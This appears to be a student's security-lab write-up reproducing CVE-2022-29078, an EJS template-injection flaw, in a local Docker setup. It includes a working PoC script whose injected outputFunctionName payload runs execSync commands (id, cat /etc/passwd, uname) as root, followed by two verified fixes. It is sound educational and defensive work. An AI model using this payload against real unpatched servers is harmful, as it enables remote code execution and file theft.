White Hat School 第4期 (32班) - 우상범 (@taka3636)
EJS < 3.1.7 的服务器端模板注入(SSTI)漏洞(CVE-2022-29078)可在无需认证的情况下远程执行服务器上的任意命令(RCE)。本文通过 Docker 搭建漏洞环境,使用 PoC 复现 RCE,并验证两种应对方案(库升级 · 安全传递输入)。
EJS(Embedded JavaScript templates)是 Node.js 生态系统中广泛使用的模板引擎。像 <h1>Hello <%= id %></h1> 这样,通过在 HTML 中嵌入 <% %> 标签插入 JavaScript 来生成动态页面。在内部,EJS 会将模板字符串编译为 JavaScript 函数,然后执行该函数生成最终的 HTML。也就是说,它是一个"将文字(模板)转换为可执行代码(函数)"的代码生成器,这一特性正是本漏洞的根本背景。
EJS < 3.1.7 会将渲染选项 outputFunctionName 的值未经校验地插入到编译后的函数源码中。如果应用程序将用户输入原样作为渲染选项传递,攻击者就可以污染该选项,从而在服务器上执行任意代码(RCE)。由于无需认证即可在远程完全控制服务器,严重性非常高。
< 3.1.7EJS/CVE-2022-29078/
├── docker-compose.yml # 127.0.0.1 바인딩(격리)
├── Dockerfile # node:18.20.4 (버전 고정)
├── app/
│ ├── server.js # 취약 Express 앱
│ ├── package.json # ejs 3.1.6 정확 고정
│ └── views/page.ejs
├── poc.sh # PoC 실행 스크립트
└── 1.png ~ 8.png # 스크린샷
18.20.4 固定3.1.6(不带符号精确锁定 — 若使用 ^/~,会安装补丁版本,导致无法复现)4.18.2docker compose up -d --build 即可搭建完成。

当以下两个条件同时成立时,攻击才能成立。
< 3.1.7 将 outputFunctionName 未经校验地作为代码插入// app/server.js — 취약 지점
app.get('/page', (req, res) => {
res.render('page', req.query); // req.query 전체를 렌더 옵션으로 전달
});
在 res.render('page', req.query) 中,Express 会将用户输入(req.query)整体作为渲染选项传给 EJS。此时,qs 解析器会将 settings[view options][outputFunctionName] 这样的方括号写法解析为嵌套对象,该值随后被合并到 EJS 编译选项 outputFunctionName 中。也就是说,用户植入到选项位置处的代码(函数)会附着在选项上一同传给 EJS。 EJS 会将该值插入到编译函数前面,如下所示:
var <outputFunctionName값> = __append;
如果是正常值,就会像 var myOut = __append; 一样无害;但如果在该值中用分号截断语句并插入代码,那么这段代码会在编译后的函数执行时原样运行。可以在该位置放入 execSync(...),从而读取特定文件或执行系统命令。
前提: 已安装 Docker + Docker Compose,构建时需要联网。
# 1) 클론 후 폴더 이동
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078
# 2) 빌드 및 기동
docker compose up -d --build
docker compose ps
# 3) 정상 동작 확인
curl "http://127.0.0.1:3000/page?id=world" # -> <h1>Hello world</h1>
# 4) PoC 실행
bash poc.sh
# 5) 정리
docker compose down

poc.sh — 通过 outputFunctionName 选项注入在服务器上执行三条命令并取回结果。[1] id(执行主体)、[2] /etc/passwd(任意文件读取)、[3] uname(执行位置)。
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (outputFunctionName 옵션 인젝션) -> RCE
set -e
TARGET="http://127.0.0.1:3000"
run() { # $1 = URL 인코딩된 셸 명령 (컨테이너에서 실행 후 결과 회수)
curl -g -s -o /dev/null \
"${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
docker compose exec -T vuln-ejs cat /tmp/out
}
echo "[1] 실행 권한 확인 (id) — root 여부"
run "id%20%3E%20/tmp/out"
echo "[2] 임의 파일 읽기 — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] 시스템 정보 노출 — uname"
run "uname%20-a%20%3E%20/tmp/out"
curl -g : 必需选项,避免将 URL 中的方括号解释为 glob(省略时报 curl: (3) bad range)%20、重定向符 > %3Epoc.sh 的执行结果。正常请求(id=world)只返回 Hello world,但通过 outputFunctionName 注入的命令会在服务器上执行,其输出被取回。

id → uid=0(root) gid=0(root) :注入的命令以 root 权限执行。/etc/passwd → 系统账户文件内容被原样返回 :可读取服务器上的任意文件(机密性受损)。uname → 主机名为 326f6f1b04b3(容器 ID),与 VM 主机名(ubuntu-QEMU-Virtual-Machine)不同 :证明命令是在容器内部而非宿主机上执行的。也就是说,root 权限并非来自 sudo,而是源于漏洞服务器进程(容器内的 node = 默认以 root 运行)。仅凭一个无需认证的远程请求即可执行 root 权限命令 + 读取任意文件 = CVE-2022-29078。
方案 1 — 升级库(根本性应对)
将 package.json 中的 ejs 升级到 3.1.7 或更高版本。3.1.7+ 使用正则表达式 /^[a-zA-Z_$][0-9a-zA-Z_$]*$/ 校验 outputFunctionName,会拒绝分号等非标识符字符,因此同类攻击会在代码执行前被阻断。
Error: outputFunctionName is not a valid JS identifier.


方案 2 — 安全传递输入(应用程序防御)
即使是漏洞版本(3.1.6),只要不将用户输入整体传入,而只传递所需的值,settings[view options] 的合并路径就会消失,选项污染便无法实现。正常功能不受影响。
// 변경 전 (취약)
res.render('page', req.query);
// 변경 후 (안전)
res.render('page', { id: req.query.id });


建议: 库更新(根本性应对)与最小化传递用户输入(纵深防御)应同时落实。此外,以非 root 用户运行容器,可在发生 RCE 时缩小危害范围。